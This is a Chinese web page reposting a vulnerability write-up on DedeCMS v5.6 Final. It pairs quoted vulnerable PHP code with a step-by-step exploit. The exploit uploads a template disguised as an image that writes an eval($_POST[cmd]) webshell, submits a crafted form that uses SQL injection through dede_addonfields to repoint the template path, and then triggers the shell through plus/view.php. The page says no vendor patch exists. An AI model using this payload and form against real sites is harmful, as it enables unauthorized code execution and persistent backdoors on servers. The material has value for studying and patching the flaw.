也想出现在这里? 联系我们

DEDECMS网站管理系统模板执行漏洞(影响版本v5.6)

作者 : 小编 本文共6235个字,预计阅读时间需要16分钟 发布时间: 2021-06-12 共2.88K人阅读
也想出现在这里? 联系我们

影响版本: DEDECMS v5.6 Final 程序介绍: DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心,是目前国内应用最广泛的php类CMS系统。 漏洞分析: Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。 1、member/article_edit.php文件(注入): //漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。

PHP Code复制内容到剪贴板
  1. //分析处理附加表数据
  2. $inadd_f=\’\’;
  3. if(!emptyempty($dede_addonfields))//自己构造$dede_addonfields
  4. {
  5. $addonfields=explode(\’;\’,$dede_addonfields);
  6. if(is_array($addonfields))
  7. {
  8. print_r($addonfields);
  9. foreach($addonfieldsas$v)
  10. {
  11. if($v==\’\’)
  12. {
  13. continue;
  14. }
  15. $vs=explode(\’,\’,$v);
  16. if(!isset(${$vs[0]}))
  17. {
  18. ${$vs[0]}=\’\’;
  19. }
  20. ${$vs[0]}=GetFieldValueA(${$vs[0]},$vs[1],$aid);
  21. $inadd_f.=\’,\’.$vs[0]."=\’".${$vs[0]}."\’";
  22. echo$inadd_f;
  23. }
  24. }
  25. }
  26. if($addtable!=\’\’)
  27. {
  28. $upQuery="Update`$addtable`settypeid=\’$typeid\’,body=\’$body\'{$inadd_f},userip=\’$userip\’whereaid=\’$aid\’";//执行构造的sql
  29. if(!$dsql->ExecuteNoneQuery($upQuery))
  30. {
  31. ShowMsg("更新附加表`$addtable`时出错,请联系管理员!","javascript:;");
  32. exit();
  33. }
  34. }

2、include/inc_archives_view.php: //这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。

PHP Code复制内容到剪贴板
  1. //issystem==-1表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询
  2. if($this->ChannelUnit->ChannelInfos[\’addtable\’]!=\’\’&&$this->ChannelUnit->ChannelInfos[\’issystem\’]!=-1)
  3. {
  4. if(is_array($this->addTableRow))
  5. {
  6. $this->Fields[\’redirecturl\’]=$this->addTableRow[\’redirecturl\’];
  7. $this->Fields[\’templet\’]=$this->addTableRow[\’templet\’];//取值
  8. $this->Fields[\’userip\’]=$this->addTableRow[\’userip\’];
  9. }
  10. $this->Fields[\’templet\’]=(emptyempty($this->Fields[\’templet\’])?\’\’:trim($this->Fields[\’templet\’]));
  11. $this->Fields[\’redirecturl\’]=(emptyempty($this->Fields[\’redirecturl\’])?\’\’:trim($this->Fields[\’redirecturl\’]));
  12. $this->Fields[\’userip\’]=(emptyempty($this->Fields[\’userip\’])?\’\’:trim($this->Fields[\’userip\’]));
  13. }
  14. else
  15. {
  16. $this->Fields[\’templet\’]=$this->Fields[\’redirecturl\’]=\’\’;
  17. }
  18. //获得模板文件位置
  19. functionGetTempletFile()
  20. {
  21. global$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
  22. $cid=$this->ChannelUnit->ChannelInfos[\’nid\’];
  23. if(!emptyempty($this->Fields[\’templet\’]))
  24. {
  25. $filetag=MfTemplet($this->Fields[\’templet\’]);
  26. if(!ereg(\’/\’,$filetag))$filetag=$GLOBALS[\’cfg_df_style\’].\’/\’.$filetag;
  27. }
  28. else
  29. {
  30. $filetag=MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
  31. }
  32. $tid=$this->Fields[\’typeid\’];
  33. $filetag=str_replace(\'{cid}\’,$cid,$filetag);
  34. $filetag=str_replace(\'{tid}\’,$tid,$filetag);
  35. $tmpfile=$cfg_basedir.$cfg_templets_dir.\’/\’.$filetag;
  36. if($cid==\’spec\’)
  37. {
  38. if(!emptyempty($this->Fields[\’templet\’]))
  39. {
  40. $tmpfile=$cfg_basedir.$cfg_templets_dir.\’/\’.$filetag;
  41. }
  42. else
  43. {
  44. $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
  45. }
  46. }
  47. if(!file_exists($tmpfile))
  48. {
  49. $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid==\’spec\’?\’article_spec.htm\’:\’article_default.htm\’);
  50. }
  51. return$tmpfile;
  52. }

漏洞利用: 1.上传一个模板文件: 注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是: uploads/userup/2/12OMX04-15A.jpg 模板内容是(如果限制图片格式,加gif89a): {dede:name runphp=\’yes\’} $fp = @fopen("1.php", \’a\’); @fwrite($fp, \'<\’.\’?php\’."\\r\\n\\r\\n".\’eval($_POST[cmd])\’."\\r\\n\\r\\n?".">\\r\\n"); @fclose($fp); {/dede:name} 2.修改刚刚发表的文章,查看源文件,构造一个表单:

XML/HTML Code复制内容到剪贴板
  1. <formclass="mTB10mL10mR10"name="addcontent"id="addcontent"action="http://127.0.0.1/dede/member/article_edit.php"method="post"enctype="multipart/form-data"onsubmit="returncheckSubmit();">
  2. <inputtype="hidden"name="dopost"value="save"/>
  3. <inputtype="hidden"name="aid"value="2"/>
  4. <inputtype="hidden"name="idhash"value="f5f682c8d76f74e810f268fbc97ddf86"/>
  5. <inputtype="hidden"name="channelid"value="1"/>
  6. <inputtype="hidden"name="oldlitpic"value=""/>
  7. <inputtype="hidden"name="sortrank"value="1275972263"/>
  8. <divid="mainCp">
  9. <h3class="meTitle"><strong>修改文章</strong></h3>
  10. <divclass="postForm">
  11. <label>标题:</label>
  12. <inputname="title"type="text"id="title"value="11233ewsad"maxlength="100"class="intxt"/>
  13. <label>标签TAG:</label>
  14. <inputname="tags"type="text"id="tags"value="hahah,test"maxlength="100"class="intxt"/>(用逗号分开)
  15. <label>作者:</label>
  16. <inputtype="text"name="writer"id="writer"value="test"maxlength="100"class="intxt"style="width:219px"/>
  17. <label>隶属栏目:</label>
  18. <selectname=\’typeid\’size=\’1\’>
  19. <optionvalue=\’1\’class=\’option3\’selected=\’\’>测试栏目</option>
  20. </select><spanstyle="color:#F00">*</span>(不能选择带颜色的分类)
  21. <label>我的分类:</label>
  22. <selectname=\’mtypesid\’size=\’1\’>
  23. <optionvalue=\’0\’selected>请选择分类…</option>
  24. <optionvalue=\’1\’class=\’option3\’selected>hahahha</option>
  25. </select>
  26. <label>信息摘要:</label>
  27. <textareaname="description"id="description">1111111</textarea>
  28. (内容的简要说明)
  29. <label>缩略图:</label>
  30. <inputname="litpic"type="file"id="litpic"onchange="SeePicNew(\’divpicview\’,this);"maxlength="100"class="intxt"/>
  31. <inputtype=\’text\’name=\’templet\’
  32. value="../uploads/userup/2/12OMX04-15A.jpg">
  33. <inputtype=\’text\’name=\’dede_addonfields\’
  34. value="templet,htmltext;">(这里构造)
  35. </div>
  36. <!–表单操作区域–>
  37. <h3class="meTitle">详细内容</h3>
  38. <divclass="contentShowpostForm">
  39. <inputtype="hidden"id="body"name="body"value="<div><ahref="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"target="_blank"><imgborder="0"alt=""src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"width="1010"height="456"/></a></div><p><?phpinfo()?>1111111</p>"style="display:none"/><inputtype="hidden"id="body___Config"value="FullPage=false"style="display:none"/><iframeid="body___Frame"src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member"width="100%"height="350"frameborder="0"scrolling="no"></iframe>
  40. <label>验证码:</label>
  41. <inputname="vdcode"type="text"id="vdcode"maxlength="100"class="intxt"style=\’width:50px;text-transform:uppercase;\’/>
  42. <imgsrc="http://127.0.0.1/dede/include/vdimgck.php"alt="看不清?点击更换"align="absmiddle"style="cursor:pointer"onclick="this.src=this.src+\’?\’"/>
  43. <buttonclass="button2"type="submit">提交</button>
  44. <buttonclass="button2ml10"type="reset"onclick="location.reload();">重置</button>
  45. </div>
  46. </div>
  47. </form>

提交,提示修改成功,则我们已经成功修改模板路径。 3.访问修改的文章: 假设刚刚修改的文章的aid为2,则我们只需要访问: http://127.0.0.1/dede/plus/view.php?aid=2 即可以在plus目录下生成小马:1.php 解决方案: 厂商补丁: DEDECMS ———— 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://www.dedecms.com/ 信息来源: oldjun\’s Blog

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » DEDECMS网站管理系统模板执行漏洞(影响版本v5.6)

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录